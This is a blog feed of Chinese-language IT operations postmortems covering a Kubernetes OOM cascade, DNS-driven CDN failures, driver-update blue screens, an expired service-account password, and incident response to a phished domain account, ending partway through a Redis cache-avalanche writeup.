{\u0026#34;limits\u0026#34;:{\u0026#34;memory\u0026#34;:\u0026#34;1Gi\u0026#34;},\u0026#34;requests\u0026#34;:{\u0026#34;cpu\u0026#34;:\u0026#34;500m\u0026#34;,\u0026#34;memory\u0026#34;:\u0026#34;512Mi\u0026#34;}} $ kubectl top pod | grep order-service order-service-7d9c8b6f4-abc 980Mi limit 设了 1Gi，但流量上涨后 RSS 已逼近 980Mi，剩余空间几乎为 0。一旦有请求峰值或 GC 不及时，立刻越线被杀。\n第三步，确认是不是内存泄漏。拉取一个还没被杀的 Pod 的堆信息：\n1 2 3 4 5 $ kubectl exec order-service-xxx -- jmap -histo:live 1 | head -15 num #instances #bytes class name 1: 420183 71234560 java.util.concurrent.ConcurrentHashMap$Node 2: 318902 25512160 com.xxx.OrderCacheEntry 3: 120033 14403960 java.lang.String OrderCacheEntry 实例高达 31 万个且持续增长——这是一个本地订单缓存，使用 ConcurrentHashMap 但没有设置容量上限和过期策略，活动期间订单不断写入，缓存无限膨胀，导致内存只涨不落。\n第四步，解释\u0026quot;雪崩\u0026quot;链条。Pod 被 OOMKilled 后重启，重启期间 readinessProbe 在应用冷启动 + 缓存重建完成前一直返回 503，于是 Endpoint 不把流量切给它；而剩余存活副本要承接全部流量，内存进一步上涨，再次 OOMKilled——形成重启→探活失败→流量集中→再 OOM的死亡螺旋。滚动更新因为新副本始终 ready 不过半，卡死在 Progressing，无法自愈。\n四、解决方案\r应急（先止血）：\n立即调大 memory limit 到 2Gi、request 提到 1Gi，并临时把副本数扩到 12，分散单 Pod 压力，打破越线被杀的循环： 1 $ kubectl scale deploy order-service --replicas=12 给 readinessProbe 增加 initialDelaySeconds: 30 与更宽容的 failureThreshold，避免冷启动期被误判摘流（临时缓解，非根治）。\n紧急重启有泄漏风险的缓存：对 OrderCacheEntry 增加容量上限（LRU，最大 5 万条）+ TTL（10 分钟），重新发版。\n给 Deployment 配置 minReadySeconds 与 progressDeadlineSeconds: 300，并在探针上加 startupProbe，让冷启动阶段不被 readiness 误杀：\n1 2 3 4 5 6 startupProbe: httpGet: path: /health port: 8080 failureThreshold: 30 periodSeconds: 5 发版后副本稳定 Running，上游超时率 5 分钟内回落到 0.3%，订单成功率恢复到 99.4%。\n五、根因分析\r根因是无界本地缓存导致的内存泄漏，在流量上涨时触顶 memory limit 被 cgroup OOMKilled。雪崩的放大器是两点：\nreadiness 探针在冷启动期误摘流：Pod 重启后缓存未预热完即被判定不健康，Endpoint 不接流量，存活副本承压更重。 滚动更新卡死：新副本始终达不到 ready 阈值，Deployment 既不能完成也不能自动回滚，故障窗口被人为拉长。 节点有空余内存是假象——Kubernetes 的 OOM 是按 Pod cgroup 边界触发的，和节点总内存无关。\n六、预防措施\r所有本地缓存必须有界：用 Caffeine/Guava Cache 显式设置 maximumSize 与 expireAfterWrite，禁止裸用 ConcurrentHashMap 当缓存。\n内存 limit 留足 headroom：limit 不应紧贴常驻用量，建议 limit ≥ 常驻峰值 × 1.5，并配置 requests 与 limits 一致以避免被调度到紧张节点。\n探针三件套合理配置：startupProbe 保护冷启动、readinessProbe 控制接流、livenessProbe 控制重启，三者职责分离，避免互相误伤。\n设置 PodDisruptionBudget + progressDeadlineSeconds，配合告警，让滚动更新卡死能被及时发现并人工/自动干预。\n内存监控与压测：对 container_memory_working_set_bytes 设 80% 告警，大促前按 3 倍流量做容量压测，提前暴露泄漏。\n七、总结\r这次故障的教训是：Kubernetes 的 OOM 是 Pod 级的，不是节点级的。看到节点有内存就以为安全，是典型的认知陷阱。更深的坑在于 OOMKilled 与探针、滚动更新的耦合——单点重启会被链路放大成整服务雪崩。排查时 kubectl describe pod 里的 Reason: OOMKilled + Exit Code 137 是第一线索，再用 jmap -histo:live 定位泄漏对象。容器环境下，任何\u0026quot;无限增长\u0026quot;的本地状态都是隐患，给缓存设边界、给探针分职责、给更新加兜底，三者缺一不可。\n","date":"2025-07-02T09:08:48Z","permalink":"/posts/b1ca8efe/","title":"记一次 K8s Pod OOMKilled 触发的服务雪崩"},{"content":"一、问题背景\r我们业务静态资源与部分动态接口走自建 CDN，边缘节点就近回源到源站集群 origin.example.com。源站域名通过公网权威 DNS（第三方 DNS 服务商）解析，TTL 设为 60 秒。CDN 边缘节点默认开启\u0026quot;回源前解析域名\u0026quot;，每次回源连接都会经过本地 resolver 向公网权威服务器查询 origin.example.com 的 A 记录。\n2025 年 6 月 15 日下午，我们收到了一波源站 502 的集中告警，时间点恰好在某第三方 DNS 服务商发布变更公告之后。\n二、故障现象\r17:00 起，多个省份的 CDN 边缘节点同时上报回源失败，错误码以 502 / 504 为主； 监控显示源站本身 CPU、连接数、磁盘 IO 全部正常，源站健康检查通过； 但从边缘节点 curl 源站域名，偶发 Could not resolve host 或卡住十几秒后才返回； 直接 curl 源站 IP（绕过域名）则秒回，说明源站服务无问题，问题在\u0026quot;域名解析 → 建连\u0026quot;这一段； 告警呈现区域性、间歇性，并非全量节点同时挂。 1 2 3 4 # 边缘节点回源日志片段 17:02:11 upstream connect error: origin.example.com resolve timeout (5s) 17:02:13 GET /api/v1/list -\u0026gt; 502 Bad Gateway (resolve failed) 17:02:40 GET /api/v1/list -\u0026gt; 200 OK (解析恢复) 三、排查过程\r第一步：确认问题在 DNS 侧还是源站侧。 在边缘节点分别测 IP 直连与域名访问：\n1 2 3 4 5 time curl -s -o /dev/null -w \u0026#34;%{http_code}\\n\u0026#34; http://10.20.30.40/api/v1/list # 200，耗时 0.03s time curl -s -o /dev/null -w \u0026#34;%{http_code}\\n\u0026#34; http://origin.example.com/api/v1/list # curl: (6) Could not resolve host，耗时 5.00s 直连秒回、域名超时，立即把火力集中到 DNS。\n第二步：手动递归解析测试。 用 dig 指定公网 resolver 测试权威查询耗时：\n1 2 dig +trace +time=2 origin.example.com # 到权威服务器一步时长时间无响应，最后;; connection timed out; no servers could be reached 同时用本地 resolver 测：\n1 2 3 dig origin.example.com @223.5.5.5 +stats ;; Query time: 4823 msec ;; SERVER: 223.5.5.5#53(223.5.5.5) 权威服务器响应超过 4.8 秒，远超 CDN 回源解析超时阈值（默认 5s），部分请求直接超时。\n第三步：对比多 resolver。 换用多个公共 DNS 与运营商 DNS 逐一测：\n1 2 3 4 5 6 7 for s in 223.5.5.5 119.29.29.29 8.8.8.8 1.1.1.1; do echo -n \u0026#34;$s: \u0026#34;; dig origin.example.com @$s +short | head -1 done # 223.5.5.5: (空) # 119.29.29.29: 10.20.30.40 # 8.8.8.8: (空) # 1.1.1.1: 10.20.30.40 部分 resolver 解析为空，说明第三方权威 DNS 对部分递归节点的响应异常（后来确认是其一次变更导致 Anycast 节点路由抖动，部分 POP 点到权威服务器链路丢包）。\n第四步：关联时间线。 查阅第三方 DNS 服务商状态页，发现 16:55 起其部分地区权威节点出现响应延迟升高公告，与我们 17:00 的告警完全吻合。\n四、解决方案\r紧急提高 CDN 回源解析超时阈值，从 5s 提到 15s，减少瞬时超时导致的 502： 1 2 # CDN 边缘配置（示例，nginx 风格） resolver_timeout 15s; 降低对公网 DNS 的实时依赖：将 origin.example.com 在 CDN 侧改为\u0026quot;IP 直连回源 + 长缓存\u0026quot;，即边缘节点不再每次解析域名，而是用配置里的固定源站 IP 列表回源，DNS 只作为兜底： 1 2 3 4 # 回源配置改为 IP origin_upstream: - 10.20.30.40:80 - 10.20.30.41:80 为关键域名配置本地缓存 resolver：在 CDN 节点旁部署 dnsmasq，把 origin.example.com 以较长 TTL 缓存，避免每次回源都打公网查询： 1 2 3 # dnsmasq.conf server=/example.com/119.29.29.29 local-ttl=300 等第三方 DNS 服务商 17:40 公告恢复后，逐步把解析超时限回 5s、回源恢复域名模式做灰度验证。 五、根因分析\r根因是CDN 回源链路对公网权威 DNS 的强实时依赖 + 过短的解析超时阈值，在第三方 DNS 服务商出现区域 Anycast 抖动时被放大成大面积故障：\nCDN 边缘每次回源都做实时域名解析，TTL 仅 60 秒，意味着几乎没有本地缓存兜底； 解析超时阈值设为 5s，一旦权威 DNS 响应超过 5s（实际到 4.8s 已濒临极限），请求直接判定失败返回 502； 不同边缘节点就近的公网 resolver 不同，抖动只影响部分 POP，因此呈现\u0026quot;区域性、间歇性\u0026quot;特征； 源站完全健康，却被 DNS 这一前置环节\u0026quot;误杀\u0026quot;。 本质是架构上把\u0026quot;边缘回源\u0026quot;和\u0026quot;公网 DNS 稳定性\u0026quot;强耦合，缺少本地缓存与 IP 兜底两层缓冲。\n六、预防措施\r回源去域名化：关键回源域名一律用 IP/SLB 地址直连，DNS 仅作为兜底，彻底解耦公网 DNS 抖动的影响。 边缘节点本地解析缓存：部署 dnsmasq/unbound，对源站域名做分钟级缓存，公网波动时仍能命中旧解析。 多 resolver 冗余：CDN 节点配置至少两个异构公共 DNS，单点 resolver 异常时自动切换。 更合理的超时与重试：回源解析超时阈值设为 10–15s，并加上解析失败后的指数退避重试，避免一次性超时即 502。 权威 DNS 多服务商容灾：核心域名开启 DNS 服务商主备（如主用第三方、备用云厂商 DNS），通过 NS 记录做冗余。 外部依赖监控：把\u0026quot;核心域名公网解析成功率/耗时\u0026quot;纳入主动拨测（如全国多节点 synthetics），第三方抖动可在用户感知前告警。 七、总结\r这次故障教科书式地展示了\u0026quot;源站好好的，前端却 502\u0026quot;的典型链路：公网 DNS 这一看似与业务无关的底层服务抖动，通过 CDN 实时回源解析被放大成大面积故障。\n排查的抓手很简单——先做对照实验（IP 直连 vs 域名访问），把问题坐标从\u0026quot;源站/网络/应用\u0026quot;精确定位到\u0026quot;DNS 解析\u0026quot;，后面的事就顺理成章了。架构层面的教训更值得记：任何一条关键链路都不该对外部单点（尤其公网 DNS）做零缓存的强实时依赖，本地缓存 + IP 兜底 + 多 resolver 冗余，才是抵御此类抖动的标配。\n","date":"2025-06-15T17:25:39Z","permalink":"/posts/38f14096/","title":"公网 DNS 解析超时，CDN 回源为何大面积失败？"},{"content":"问题背景\r某周二上午，IT 服务台在 2 小时内接到 18 个蓝屏相关工单，用户反映电脑突然蓝屏重启，屏幕显示蓝色错误界面后自动重启。部分用户反映重启后又蓝屏，进入死循环，需要 IT 上门处理。\n分析工单发现，出现问题的机器主要集中在某一批次（戴尔 OptiPlex 7090），其他机型也有零星案例。所有出现问题的机器有一个共同点：昨天（周一）都收到了一个通过 SCCM（System Center Configuration Manager）推送的驱动更新包。\n故障现象\r多台机器出现不同的 BSOD 错误码： DRIVER_IRQL_NOT_LESS_OR_EQUAL SYSTEM_THREAD_EXCEPTION_NOT_HANDLED PAGE_FAULT_IN_NONPAGED_AREA 部分机器重启后再次蓝屏，无法正常进入 Windows 出问题的机器集中在昨天收到驱动更新的设备 问题机器操作系统：Windows 10 22H2 排查过程\r第一步：收集崩溃转储文件\r蓝屏后，Windows 会生成内存转储文件（Minidump）。收集几台典型故障机的转储文件：\n1 路径：C:\\Windows\\Minidump\\*.dmp 使用 WinDbg（Windows 调试工具）分析：\n1 2 # 在 WinDbg 中打开 dmp 文件后执行： !analyze -v 对 3 台不同机器的 dmp 文件分析结果，都指向同一个模块：\n1 Probably caused by : e1d65x64.sys ( e1d65x64+XXXXX ) e1d65x64.sys 是 Intel 网卡驱动（具体型号为 Intel Ethernet Connection I219-LM）。\n第二步：确认驱动版本\r在一台还能启动的问题机器上查看网卡驱动版本：\n1 设备管理器 → 网络适配器 → Intel(R) Ethernet Connection I219-LM → 属性 → 驱动程序 显示：\n驱动版本：12.19.2.45（更新后的版本） 驱动日期：2025-05-19（昨天） 在一台没有收到更新、运行正常的同款机器上查看：\n驱动版本：12.18.9.23（旧版本） 第三步：查看 SCCM 更新推送记录\r登录 SCCM 控制台，查看昨天（2025-05-19）推送的软件包：\n发现昨天推送了一个\u0026quot;Intel 网卡驱动更新包 v12.19.2.45\u0026quot;，部署范围为\u0026quot;所有工作站（Windows 10）\u0026quot;，推送时间为 18:00，因此很多员工是今天上班开机后才开始安装，安装完成重启后触发蓝屏。\n受影响范围评估：\n昨天收到该更新包的设备：约 240 台 已出现蓝屏的：18 台（均为戴尔 OptiPlex 7090，搭载 Intel I219-LM 网卡） 其他品牌机型：有同款网卡的也出现了少量案例 第四步：查阅驱动版本相关信息\r查阅 Intel 官网和微软 WHQL 驱动数据库，以及该版本驱动的发布说明：\n在 Intel 社区论坛找到了相关讨论，有其他用户反映 12.19.2.45 版本的驱动在 Windows 10 特定版本上存在兼容性问题，官方正在排查，建议暂时回滚到上一个稳定版本（12.18.9.23）。\n第五步：制定处理方案\r对于还能启动的问题机器：通过脚本回滚驱动。\n对于无法启动的问题机器（重复蓝屏）：需要进入安全模式或 WinPE 回滚驱动。\n解决方案\r方案一：能正常启动的机器（远程或用户自行操作）\r通过 PowerShell 批量回滚网卡驱动：\n1 2 3 4 5 # 查看当前网卡驱动版本 Get-WmiObject Win32_PnPSignedDriver | Where-Object {$_.DeviceName -like \u0026#34;*Intel*Ethernet*\u0026#34;} | Select-Object DeviceName, DriverVersion, DriverDate # 回滚驱动（设备管理器操作） # 或通过命令行卸载当前版本并安装旧版本 手动操作步骤：\n设备管理器 → 网络适配器 → Intel Ethernet Connection I219-LM 右键 → 属性 → 驱动程序 → 回退驱动程序 如果\u0026quot;回退驱动程序\u0026quot;按钮灰色不可用（没有备份），则使用旧版驱动安装包手动安装 准备了旧版驱动安装包（12.18.9.23），部署到 SCCM 软件分发，用户可以直接运行安装。\n方案二：无法启动的机器（反复蓝屏）\r方法一：进入安全模式\n强制重启 3 次，Windows 自动进入\u0026quot;高级启动选项\u0026quot; 疑难解答 → 高级选项 → 启动设置 → 重新启动 进入安全模式后，设备管理器回滚网卡驱动，或直接卸载驱动（安全模式下无线网络功能不加载有问题的驱动） 方法二：WinPE 启动盘 对于安全模式也进不去的机器，使用 IT 部门预先制作的 WinPE 启动 U 盘：\n1 2 # 在 WinPE 中挂载 Windows 系统分区后，删除问题驱动 dism /image:C:\\ /remove-driver /driver:oem12.inf 其中 oem12.inf 对应 Intel 网卡驱动的 INF 文件编号（需在正常机器上预先确认）。\n效果： 所有 18 台问题机器在当天下午 3 点前全部恢复正常。\n立即在 SCCM 中暂停并撤回该驱动更新\r对已推送但还未安装的机器，在 SCCM 中将该部署的状态设置为\u0026quot;不可用\u0026quot;，防止继续安装。\n根因分析\r根本原因是 SCCM 驱动更新推送前缺乏充分的测试验证，将一个存在兼容性 bug 的驱动版本（Intel 12.19.2.45）直接大批量推送到生产环境，导致大量安装了该驱动的设备出现蓝屏。\n次要原因是推送范围过广，没有采用灰度（分阶段）部署策略，第一批应该只推送少量测试机器，验证稳定后再扩大范围。\n预防措施\r1. 驱动更新分阶段推送\n在 SCCM 中创建测试集合（如 20 台代表性机器），先推送测试集合，观察 24-48 小时无问题后，再推送全量。\n2. 推送时间选择\n避免在下班后推送涉及重启的更新，否则出现问题无人第一时间响应。改为在周三/周四工作时间推送，方便快速响应。\n3. 崩溃转储监控\n接入 Microsoft Intune 或 SCCM 的设备健康报告，监控 BSOD 发生率。若在 24 小时内某款驱动关联的 BSOD 数量超过阈值，自动暂停相关更新并告警。\n4. 维护一个\u0026quot;已验证驱动版本\u0026quot;白名单\n对常用驱动（网卡、显卡、声卡等），维护一个经过验证的稳定版本列表，未经测试的新版本不进入大规模推送流程。\n总结\r批量蓝屏事件对 IT 运维团队来说是高压力事件，尤其是当用户的工作电脑无法正常使用时，会产生大量抱怨和催促。这次事件暴露了我们在软件/驱动更新管理上的薄弱环节。\n最重要的教训： 生产环境的变更永远要\u0026quot;小步走\u0026quot;，灰度测试不是可选项，而是必选项。一个小时的测试，可能避免数百台机器同时出问题。\n","date":"2025-05-20T15:55:36Z","permalink":"/posts/d2951d8b/","title":"员工电脑批量蓝屏的根因定位"},{"content":"一、问题背景\r我们部门维护着一套跨部门数据同步平台，负责把 ERP、CRM、WMS 三个业务系统的增量数据，在每天凌晨 01:00 统一抽取、清洗后写入数据仓库。平台跑在 6 台 Linux 应用服务器上，调度由一台独立的 cron 主机负责。出于统一身份管理的考虑，这 6 台机器和 cron 主机都加域（Active Directory），同步脚本通过域用户 svc-sync 运行，该账号由安全团队统一纳管，强制 90 天改密。\n这个账号已经稳定运行了快一年。问题发生在 2025 年 5 月 1 日凌晨，恰逢五一假期，绝大多数同事在家，告警却准时在 01:05 炸了。\n二、故障现象\r凌晨 01:05，企业微信告警群连续收到 6 条 \u0026ldquo;数据同步任务失败\u0026rdquo; 的告警，全部来自 6 台应用服务器。打开监控面板，发现以下现象：\n所有同步任务都在获取源数据连接阶段就失败，没有一条进入清洗环节； 失败时间高度集中在 01:00–01:03，与 cron 触发时间吻合； 白天手动用 svc-sync 登录任一节点测试 SSH，提示密码错误； 应用自身进程（如常驻的数据清洗守护进程）正常，只是\u0026quot;由 cron 拉起的脚本\u0026quot;失败。 更奇怪的是，前一日（4 月 30 日）白天的手动同步回放测试一切正常，问题只出现在\u0026quot;定时自动跑\u0026quot;的场景，让人第一反应是 cron 配置被改了。\n1 2 3 4 # 01:02 收到的部分告警原文 [CRIT] job=sync_erp exit=1 host=app-01 msg=source connect failed: Authentication failed [CRIT] job=sync_crm exit=1 host=app-02 msg=source connect failed: Authentication failed [CRIT] job=sync_wms exit=1 host=app-03 msg=source connect failed: Authentication failed 三、排查过程\r第一步：确认 cron 是否执行。 登录 cron 主机，查看 /var/log/cron，任务确实在 01:00 被拉起，排除\u0026quot;任务没触发\u0026quot;的可能。\n1 2 grep \u0026#34;sync\u0026#34; /var/log/cron | grep \u0026#34;May 1\u0026#34; # May 1 01:00:01 cron (svc-sync) CMD (/opt/sync/run_all.sh) 第二步：缩小到认证环节。 手动以 svc-sync 身份执行脚本：\n1 2 sudo -u svc-sync /opt/sync/run_all.sh # ERROR 1045 (28000): Access denied for user \u0026#39;svc_sync\u0026#39;@\u0026#39;app-01\u0026#39; (using password: YES) 但数据库里这个账号的密码没变过，说明不是数据库侧问题，而是本地用什么凭据去连。脚本通过 kinit 拿 TGT 后再用 Kerberos 委托访问各系统。\n第三步：检查域账号状态。 在域控上用 Get-ADUser 查看：\n1 2 3 4 Get-ADUser svc-sync -Properties PasswordExpired,PasswordLastSet,AccountExpirationDate | fl # PasswordExpired : True # PasswordLastSet : 2025-02-01 01:18:33 # 计算 90 天后 = 2025-05-02，但策略在 5/1 凌晨缓存刷新即生效 账号 PasswordExpired 已经是 True。由于 4 月 30 日的手动测试用的是白天已缓存的 TGT，而 5 月 1 日 cron 拉起时票据缓存已过期、重新 kinit 因密码过期直接失败，脚本拿不到新票据，于是连接各系统时报认证失败。\n第四步：定位为何白天没发现。 该账号密码过期没有邮件提醒，且 svc-sync 是服务账号，不在普通用户的\u0026quot;密码到期前 14 天提醒\u0026quot;流程里；值班同学假期前没做账号巡检。\n四、解决方案\r紧急恢复分为两步：\n重置密码并解锁账号（在域控执行）： 1 2 3 Set-ADAccountPassword svc-sync -Reset -NewPassword (ConvertTo-SecureString \u0026#34;NewP@ssw0rd2025\u0026#34; -AsPlainText -Force) Set-ADAccountControl svc-sync -PasswordNeverExpires $false Unlock-ADAccount svc-sync 统一更新所有节点的凭据缓存。将新密码写入各节点的 keytab 与凭据文件，并重新生成 keytab： 1 2 3 4 # 在域控用 ktpass 重新生成 ktpass /out svc-sync.keytab /princ svc-sync@CORP.LOCAL /mapuser svc-sync /pass \u0026#34;NewP@ssw0rd2025\u0026#34; /crypto ALL /ptype KRB5_NT_PRINCIPAL # 分发到 6 台节点后 kinit -kt /etc/sync/svc-sync.keytab svc-sync@CORP.LOCAL 补跑 5 月 1 日数据：由于没有进入清洗环节，直接重跑 run_all.sh，全部成功，数据无遗漏。 五、根因分析\r根因是服务账号密码过期策略与定时任务的耦合缺乏监控：\n安全团队对 svc-sync 启用了 90 天强制改密，但未把\u0026quot;服务账号密码到期\u0026quot;纳入运维告警； 该账号不接收普通用户的到期提醒邮件，导致过期无人知晓； cron 场景每次执行都重新 kinit，密码一旦过期即彻底失败；而白天手动测试依赖已缓存 TGT，掩盖了问题； 凭据管理分散在 keytab 文件和脚本变量中，密码轮换需要人工逐节点更新，极易遗漏。 本质上是把\u0026quot;人的账号生命周期管理\u0026quot;套用到了\u0026quot;机器服务账号\u0026quot;上，却没配套机器侧的无缝轮换机制。\n六、预防措施\r服务账号改用 gMSA 或密钥托管：Windows 侧迁移到组托管服务账号（gMSA），由域控自动轮转密码，应用无需感知；Linux 侧接入 HashiCorp Vault 动态凭据，脚本启动时向 Vault 拉取短期密码。 密码到期纳入监控：在 Zabbix 里加一个脚本，对 PasswordExpired -eq $true 或 PasswordLastSet 距今天数 \u0026gt; 75 的账号发预警，提前 15 天提醒。 凭据集中化：所有 keytab 由配置管理（Ansible）统一推送，禁止手工散落，轮换时一条 playbook 全量更新。 任务自恢复：cron 脚本开头加 kinit 健康检查，若失败先尝试用 Vault 刷新再执行，避免单点凭据失效直接拖垮整批任务。 假期前巡检清单：把服务账号有效期检查列入节假日前必做项。 七、总结\r这次故障从表象看像\u0026quot;cron 挂了\u0026quot;，实则是域控侧账号密码过期沿着 Kerberos 认证链路传导到了数据同步任务。一线排查的关键，是把\u0026quot;任务失败\u0026quot;往\u0026quot;认证失败\u0026quot;再往\u0026quot;账号生命周期\u0026quot;逐层下钻，而不是停留在调度层打转。\n最大的教训是：服务账号也是一种资源，它的生命周期（创建、轮换、过期、回收）必须纳入运维监控体系，不能因为\u0026quot;平时不出事\u0026quot;就放进盲区。把人工密码轮换替换为自动托管，才是杜绝此类问题复发的根本办法。\n","date":"2025-05-01T11:33:54Z","permalink":"/posts/6f0650ff/","title":"域用户密码过期，定时同步任务为何批量失败？"},{"content":"一、问题背景\r我司日常使用 Windows Active Directory（AD）作为统一身份认证域，全公司约 1800 个域账号集中由两台域控（DC01、DC02，运行 Windows Server 2019）管理。安全侧部署了 SIEM 平台（基于 Splunk），通过 Windows 事件日志转发（WEF）实时采集各 DC 的安全日志（Event ID 4624/4625），并对\u0026quot;非常用地登录 IP\u0026quot;\u0026ldquo;境外 ASN\u0026quot;\u0026ldquo;非工作时间登录\u0026quot;等场景配置了关联告警规则。\n2025-04-12 下午 15:23，SIEM 弹出一条高危告警：财务部的域账号 li.wei 在位于越南胡志明市的境外 IP（103.xx.xx.88）完成了一次成功的交互式登录（Event ID 4624，Logon Type 3 网络登录）。该员工当天上午 09:40 刚在广州办公网的固定出口 IP 登录过，下午却出现在境外，明显异常。作为当班安全运维，我立即启动账号安全应急响应流程。\n二、故障现象\rSIEM 告警详情如下：\n1 2 3 4 5 6 7 8 [ALERT] 异地成功登录 - 高危 账号: li.wei (财务部) 源IP: 103.xx.xx.88 (VN, Ho Chi Minh City, ASN: 45609) 登录类型: 3 (Network) 目标主机: FILESRV03 (文件服务器) 时间: 2025-04-12 15:18:42 事件ID: 4624 历史登录地: 广州 (出口 58.xx.xx.10) 同时在域控安全日志中可看到该账号在 15:18 至 15:22 之间，对 FILESRV03 发起了多次 SMB 会话，访问了 \\\\FILESRV03\\finance$ 共享目录。财务主管反馈 li.wei 本人正在参加下午的线下会议，并未操作电脑，且其本人手机未收到任何异地登录验证提示（我司尚未对内部 SMB 登录启用 MFA）。\n初步判断：账号凭证已泄露，攻击者已使用该账号从境外成功访问了内网文件资源。\n三、排查过程\r第一步：确认告警真实性，排除误报。\n先到域控上确认原始日志，避免 SIEM 关联规则误判：\n1 2 3 4 5 6 Get-WinEvent -FilterHashtable @{LogName=\u0026#39;Security\u0026#39;;Id=4624} | Where-Object { $_.Properties[5].Value -eq \u0026#39;li.wei\u0026#39; } | Select-Object TimeCreated, @{n=\u0026#39;IP\u0026#39;;e={$_.Properties[18].Value}}, @{n=\u0026#39;LogonType\u0026#39;;e={$_.Properties[8].Value}}, @{n=\u0026#39;Target\u0026#39;;e={$_.Properties[11].Value}} | Format-List 输出确认 15:18:42 确有来自 103.xx.xx.88 的 4624 事件，TargetServerName 为 FILESRV03，登录类型为 3。原始日志与 SIEM 一致，排除误报。\n第二步：研判攻击路径与失陷范围。\n核查该账号近 24 小时全部登录记录，发现 09:40 在广州办公网正常登录后，13:05 起在广州出口 IP 出现 7 次 4625 失败登录（密码错误），随后 15:18 在境外 IP 登录成功——说明攻击者可能已掌握旧密码或完成了密码爆破。进一步在 SIEM 中检索该境外 IP 对我司其他资产的访问：\n1 2 3 4 源IP 103.xx.xx.88 当日访问汇总: FILESRV03 SMB 4624 成功 3次 MAIL01 SMTP 587 连接 失败(被拒绝) VPN-GW 443 SSL握手 失败(需MFA) 可见攻击者主要意图是窃取文件服务器上的财务资料，VPN 与邮件因启用 MFA 未能突破。\n第三步：联系当事人与钓鱼溯源。\n电话联系 li.wei，确认其本人未操作，且回忆起 04-11 收到一封伪装成\u0026quot;税务局退税通知\u0026quot;的钓鱼邮件，曾点击链接并输入过域账号密码。基本锁定为钓鱼导致的凭证泄露。\n四、解决方案\r应急处置按\u0026quot;先止血、后取证、再恢复\u0026quot;执行：\n立即锁定账号，阻止攻击者继续操作： 1 2 3 Disable-ADAccount -Identity li.wei # 同时清空其 Kerberos TGT，强制已建立会话失效 Set-ADAccountPassword -Identity li.wei -Reset 踢除攻击者已建立的 SMB 会话，在 FILESRV03 上结束该来源 IP 的所有会话： 1 2 Get-SmbSession | Where-Object { $_.ClientComputerName -like \u0026#39;*103.xx.xx.88*\u0026#39; } | ForEach-Object { Close-SmbSession -SessionId $_.SessionId -Force } 阻断攻击源 IP，在边界防火墙（Fortinet）下发临时封锁策略，并同步到 SIEM 的威胁情报黑名单。\n强制改密与 MFA 补强：为 li.wei 重置密码并启用条件访问策略，要求下次登录必须绑定 MFA（Microsoft Authenticator）。同时将该 IOC（103.xx.xx.88 及关联域名）写入 SOAR playbook，实现同源自动封禁。\n取证留存：导出 4624/4625 原始日志与该账号访问过的文件清单，归档备查，确认 finance$ 下 3 个 Excel 被读取但未发现外传迹象（文件服务器未开启出站审计，后续已补充）。\n处置完成后 15:45 复盘，攻击者会话已被清除，账号处于禁用状态，告警解除。\n五、根因分析\r直接原因：员工 li.wei 点击钓鱼邮件链接，在伪造的登录页提交了域账号密码，凭证被攻击者获取。钓鱼页面托管于境外，与告警中的越南 IP 同属一个攻击团伙基础设施。 防护短板：内部 SMB/文件服务器登录未启用 MFA，导致单因素凭证一旦泄露即可横向访问敏感共享；SIEM 虽能告警，但处置依赖人工，从告警到锁定的 22 分钟窗口内攻击者已读取文件。 意识薄弱：该钓鱼邮件未触发邮件网关的拦截（发件域名做了近似伪装 tax-refund-gov[.]cn），员工缺乏识别训练。 六、预防措施\r全面启用 MFA：推动对 AD 域的所有交互式及网络登录（含 SMB、RDP）接入条件访问 + MFA，优先覆盖财务、研发等高危部门。 收敛共享权限：对 finance$ 等敏感共享启用访问审计与 DLP 出站监控，限制可访问 IP 段。 钓鱼演练常态化：通过安全邮件网关（如 Proofpoint）加强过滤器，并每月开展模拟钓鱼演练，对易中招人员强制再培训。 自动化响应：在 SOAR 中固化\u0026quot;异地成功登录 → 自动禁用账号 + 防火墙封禁源 IP + 通知值班\u0026quot;的 playbook，将响应时间从分钟级压缩到秒级。 UEBA 增强：为域账号引入用户实体行为分析，对\u0026quot;短时多地登录\u0026quot;\u0026ldquo;非常规文件批量读取\u0026quot;等行为做基线偏离告警。 七、总结\r本次事件是一次典型的\u0026quot;钓鱼获取凭证 → 异地登录内网资源\u0026quot;的账号安全事件。SIEM 的异地登录告警帮助我们及时发现，但人工处置的时间窗口仍让攻击者读取了部分财务文件。核心教训有两点：其一，内网资源的单因素认证是最大短板，MFA 必须覆盖到文件服务器这类\u0026quot;看似内部、实则敏感\u0026quot;的系统；其二，响应自动化程度直接决定损失大小。后续我们将 MFA 全覆盖与 SOAR 自动处置作为安全运维的优先项，并辅以持续的钓鱼意识培训，把\u0026quot;人\u0026quot;这个最薄弱的环节也补上。\n","date":"2025-04-12T15:59:59Z","permalink":"/posts/a801fe3b/","title":"员工域账号异地登录：告警研判与紧急锁定处置"},{"content":"一、问题背景\r我们的电商系统在大促期间会开放限量秒杀活动，秒杀商品几十款，单款库存几千到几万不等。秒杀接口 POST /api/seckill 是系统流量入口，正常情况下 QPS 在 2000 左右，大促开场瞬间会冲到 30000+。\n为了扛住读压力，商品详情、库存余量、用户限购状态等热点数据全部缓存在 Redis 集群（3 主 3 从，每主 8G maxmemory）。缓存设计上，运营在后台批量导入秒杀商品时，统一把缓存 TTL 设置为 30 分钟，并且由于是同一时刻批量导入，大量 key 的过期时间高度集中在开场后的同一个时间窗口内。\n本次大促的秒杀在晚上 20:00 准时开始，商品导入动作发生在 19:25 左右，这意味着绝大部分缓存 key 会在 19:55 ~ 20:00 之间集中失效。\n二、故障现象\r20:00 活动一开抢，监控告警在 30 秒内全部触发：\n秒杀接口 P99 延迟从平时的 50ms 飙升至 8s，P999 直接超过 15s； 网关层 504 超时大量出现，错误率从 0.1% 涨到 23%； Redis 集群 CPU 使用率被打满（各节点 user + sys 接近 100%），但 QPS 反而比平时低——因为大量请求已经穿透； 后端 MySQL 主库连接数瞬间打满（max_connections=2000），出现 Too many connections； 订单创建成功率从 99.5% 掉到 41%，大量用户反馈\u0026quot;点了没反应\u0026quot;\u0026ldquo;一直在转圈\u0026rdquo;。 最诡异的一点是：Redis 本身并没有宕机，节点都是 connected 状态，但业务就是全面变慢。这让我们一开始怀疑是网关或应用层的问题，而不是缓存。\n三、排查过程\r第一步，先确认慢在哪里。在网关机器上抓取秒杀链路的 tracing：\n1 2 3 span: gateway -\u0026gt; seckill-svc -\u0026gt; redis (GET stock:sku_123) 3ms span: gateway -\u0026gt; seckill-svc -\u0026gt; mysql (SELECT stock ...) 7200ms span: gateway -\u0026gt; seckill-svc -\u0026gt; mysql (INSERT order) timeout 火焰图清楚显示耗时全部卡在 MySQL 的 SELECT stock 上，而本该走 Redis 的 GET stock:sku_xxx 几乎不见了。第一反应是 Redis 